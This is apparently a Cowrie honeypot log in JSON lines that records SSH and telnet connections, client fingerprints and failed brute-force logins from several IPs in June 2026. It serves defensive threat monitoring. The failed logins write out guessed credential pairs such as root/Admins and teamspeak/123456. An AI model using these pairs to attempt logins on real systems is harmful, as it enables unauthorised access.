{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:16.289781Z","src_ip":"45.156.87.147","session":"c591ee1880a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:16.534488Z","src_ip":"45.156.87.147","session":"c591ee1880a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:17.623119Z","src_ip":"45.156.87.147","session":"c591ee1880a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34738,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfe17d75cf1c","protocol":"ssh","message":"New connection: 45.156.87.147:34738 (10.17.0.5:22) [session: dfe17d75cf1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:21.995284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:21.999605Z","src_ip":"45.156.87.147","session":"dfe17d75cf1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:22.082489Z","src_ip":"45.156.87.147","session":"dfe17d75cf1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"root","message":"login attempt [teamspeak/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:22.330707Z","src_ip":"45.156.87.147","session":"dfe17d75cf1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:23.416254Z","src_ip":"45.156.87.147","session":"dfe17d75cf1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":34754,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4ab7e323ec3","protocol":"ssh","message":"New connection: 45.156.87.147:34754 (10.17.0.5:22) [session: d4ab7e323ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:27.874439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:27.879400Z","src_ip":"45.156.87.147","session":"d4ab7e323ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:27.957395Z","src_ip":"45.156.87.147","session":"d4ab7e323ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:28.276359Z","src_ip":"45.156.87.147","session":"d4ab7e323ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:29.359977Z","src_ip":"45.156.87.147","session":"d4ab7e323ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":44826,"dst_ip":"10.17.0.5","dst_port":22,"session":"a937ac0141f7","protocol":"ssh","message":"New connection: 45.156.87.147:44826 (10.17.0.5:22) [session: a937ac0141f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:33.507256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:33.513474Z","src_ip":"45.156.87.147","session":"a937ac0141f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:33.589157Z","src_ip":"45.156.87.147","session":"a937ac0141f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"raspberry","message":"login attempt [teamspeak/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:33.909296Z","src_ip":"45.156.87.147","session":"a937ac0141f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:34.992386Z","src_ip":"45.156.87.147","session":"a937ac0141f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35744,"dst_ip":"159.203.135.109","dst_port":23,"session":"973e628b87b6","protocol":"telnet","message":"New connection: 172.81.62.90:35744 (159.203.135.109:23) [session: 973e628b87b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:35.851883Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34954,"dst_ip":"159.203.135.109","dst_port":23,"session":"61de07ca0265","protocol":"telnet","message":"New connection: 172.81.62.90:34954 (159.203.135.109:23) [session: 61de07ca0265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:37.264340Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41358,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d53a122120e","protocol":"ssh","message":"New connection: 45.156.87.147:41358 (10.17.0.5:22) [session: 4d53a122120e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:39.384949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:39.442857Z","src_ip":"45.156.87.147","session":"4d53a122120e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:39.550528Z","src_ip":"45.156.87.147","session":"4d53a122120e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:39.797918Z","src_ip":"45.156.87.147","session":"4d53a122120e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.64950919151306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:39.897457Z","src_ip":"102.37.220.188","session":"330eaac4432e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:40.883762Z","src_ip":"45.156.87.147","session":"4d53a122120e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.7059280872345,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:57:54.737170Z","src_ip":"99.227.227.84","session":"396b91a97399","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:03.815303Z","src_ip":"27.71.230.31","session":"3747c562fc0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admins","message":"login attempt [root/Admins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:04.517107Z","src_ip":"27.71.230.31","session":"3747c562fc0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"71.1","message":"Connection lost after 71.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:05.756491Z","src_ip":"27.71.230.31","session":"3747c562fc0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.560617208480835,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:12.824703Z","src_ip":"172.81.62.90","session":"61de07ca0265","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.56207776069641,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:15.413837Z","src_ip":"172.81.62.90","session":"973e628b87b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":50844,"dst_ip":"10.17.0.5","dst_port":23,"session":"1521864a46ad","protocol":"telnet","message":"New connection: 3.129.187.38:50844 (10.17.0.5:23) [session: 1521864a46ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:17.415600Z"}
{"eventid":"cowrie.session.closed","duration":0.03447413444519043,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:17.449937Z","src_ip":"3.129.187.38","session":"1521864a46ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51464,"dst_ip":"159.203.135.109","dst_port":23,"session":"88fff20406f0","protocol":"telnet","message":"New connection: 172.81.62.90:51464 (159.203.135.109:23) [session: 88fff20406f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:58:58.431627Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":34256,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f8f918577dd","protocol":"ssh","message":"New connection: 103.27.238.120:34256 (159.203.135.109:22) [session: 2f8f918577dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:25.052729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:25.056522Z","src_ip":"103.27.238.120","session":"2f8f918577dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:25.341569Z","src_ip":"103.27.238.120","session":"2f8f918577dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"atljhjd","message":"login attempt [root/atljhjd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:26.199329Z","src_ip":"103.27.238.120","session":"2f8f918577dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:27.489066Z","src_ip":"103.27.238.120","session":"2f8f918577dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":41306,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b554fa740f","protocol":"ssh","message":"New connection: 80.94.92.184:41306 (159.203.135.109:22) [session: f7b554fa740f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:27.843670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:27.857882Z","src_ip":"80.94.92.184","session":"f7b554fa740f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:30.057443Z","src_ip":"80.94.92.184","session":"f7b554fa740f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:32.240239Z","src_ip":"80.94.92.184","session":"f7b554fa740f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:59:32.837746Z","src_ip":"80.94.92.184","session":"f7b554fa740f","protocol":"ssh"}
